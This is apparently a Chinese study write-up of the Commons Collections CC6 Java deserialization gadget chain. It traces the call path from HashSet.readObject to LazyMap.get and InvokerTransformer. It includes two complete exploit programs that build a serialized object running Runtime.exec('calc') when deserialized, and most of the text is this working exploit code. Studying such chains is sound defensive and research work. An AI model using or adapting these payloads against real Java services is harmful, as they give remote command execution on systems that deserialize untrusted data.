javaCC链6
CC6
条件:
commons-conlections<=3.2.1
不限制jdk版本
payload
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Reflections;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class cc6 {
public static void main(String args[]) throws Exception{
//反射调用Runtime.exec
// Class r = Runtime.class;
// Method exec = r.getMethod("exec",new Class[]{String.class});
// Method getRuntime = r.getMethod("getRuntime",new Class[]{});
// Runtime r1 = (Runtime) getRuntime.invoke(null,null);
// exec.invoke(r1,"calc");
//通过transformer的transform来实现上述的反射调用Runtime.exec
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回一个Runtime的class对象
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),//执行getMethod方法返回一个是getRuntime的Method对象
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),//通过invoke执行getRuntime,返回一个Runtime对象
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})//用上一个返回的Runtime对象执行exec方法调用计算器
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"qs");
// HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put(tiedMapEntry, "3");
//
// lazymap.remove("qs");
//
// Class<LazyMap> lazyMapClass = LazyMap.class;
// Field factoryField = lazyMapClass.getDeclaredField("factory");
// factoryField.setAccessible(true);
// factoryField.set(lazymap, chainedTransformer);
// byte[] bytes = serialize(hashMap);
// unserialize(bytes);
// //tiedMapEntry.hashCode();
HashSet hashSet = new HashSet(1);
hashSet.add("qs");
Field f = HashSet.class.getDeclaredField("map");
Reflections.setAccessible(f);
HashMap innimpl = (HashMap)f.get(hashSet);
Field f2 = HashMap.class.getDeclaredField("table");
Reflections.setAccessible(f2);
Object[] array = (Object[])((Object[])f2.get(innimpl));
Object node = array[0];
Field keyField = node.getClass().getDeclaredField("key");
Reflections.setAccessible(keyField);
keyField.set(node, tiedMapEntry);
byte[] bytes = serialize(hashSet);
unserialize(bytes);
}
public static byte[] serialize(Object o) throws Exception {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(bout);
oout.writeObject(o);
byte[] bytes = bout.toByteArray();
oout.close();
bout.close();
return bytes;
}
public static Object unserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bin);
return oin.readObject();
}
}
链逆向分析
LazyMap
还是transform方法入手,找到LazyMap
的get方法
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
这里的this.factory是传入的chainedTransformer,看到LazyMap的构造方法
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
看到protected,不能外不调用,使用LazyMap.decorate调用构造方法,看到decorate:
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
TiedMapEntry
需要找一个方法调用LazyMap.get()
看到TiedMapEntry.getValue:
public Object getValue() {
return this.map.get(this.key);
}
看到构造方法,这里的this.map可控(传入LazyMap)
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
找一个调用TiedMapEntry.getValue的方法
看到TiedMapEntry.hashCode:
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
HashMap
需要找到一个调用TiedMapEntry.hashCode的方法(该方法内调用谁的hashCode我们要可控,一般是一个类属性,这个属性我们可以通过构造方法控制)
根据URLDNS链的分析我们知道HashMap.hash满足要求,它的key参数通过HashMap.put方法设置,HashMap.put方法的那个key可控
看到HashMap.hash:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
看到:HashMap.put:
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
HashSet
反序列化最终我们的目的是找到一个readObject去调用我们之前分析到的最后一个方法(这里是HashMap.put)
看到HashSet.readObject:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read capacity and verify non-negative.
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}
// Read load factor and verify positive and non NaN.
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}
// Read size and verify non-negative.
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " +
size);
}
// Set the capacity according to the size and load factor ensuring that
// the HashMap is at least 25% full but clamping to maximum capacity.
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
可以看到其中:
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
只要当前对象不是LinkedHashSet那么map就是一个HashMap,然后会调用map.put
触发链:HashSet.readObject->HashMap.put->HashMap.hash->TiedMapEntry.hashCode->TiedMapEntry.getValue->LazyMap.get->transform方法
非ysoserial-all.jar的cc6
ysoserial-all.jar的cc6利用走hashSet感觉不如直接用HashMap的readObject好理解
直接利用HashMap的readObject的payload:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Reflections;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class cc6 {
public static void main(String args[]) throws Exception{
//反射调用Runtime.exec
// Class r = Runtime.class;
// Method exec = r.getMethod("exec",new Class[]{String.class});
// Method getRuntime = r.getMethod("getRuntime",new Class[]{});
// Runtime r1 = (Runtime) getRuntime.invoke(null,null);
// exec.invoke(r1,"calc");
//通过transformer的transform来实现上述的反射调用Runtime.exec
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回一个Runtime的class对象
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),//执行getMethod方法返回一个是getRuntime的Method对象
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),//通过invoke执行getRuntime,返回一个Runtime对象
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})//用上一个返回的Runtime对象执行exec方法调用计算器
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap();
Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1));//先随意给一个transformer,防止hashMap.put触发
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"qs");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");
lazymap.remove("qs");//移除hashMap.put给进去的key
//通过反射获取属性,然后重新设置transformer給factory属性
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, chainedTransformer);
byte[] bytes = serialize(hashMap);
unserialize(bytes);
}
public static byte[] serialize(Object o) throws Exception {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(bout);
oout.writeObject(o);
byte[] bytes = bout.toByteArray();
oout.close();
bout.close();
return bytes;
}
public static Object unserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bin);
return oin.readObject();
}
}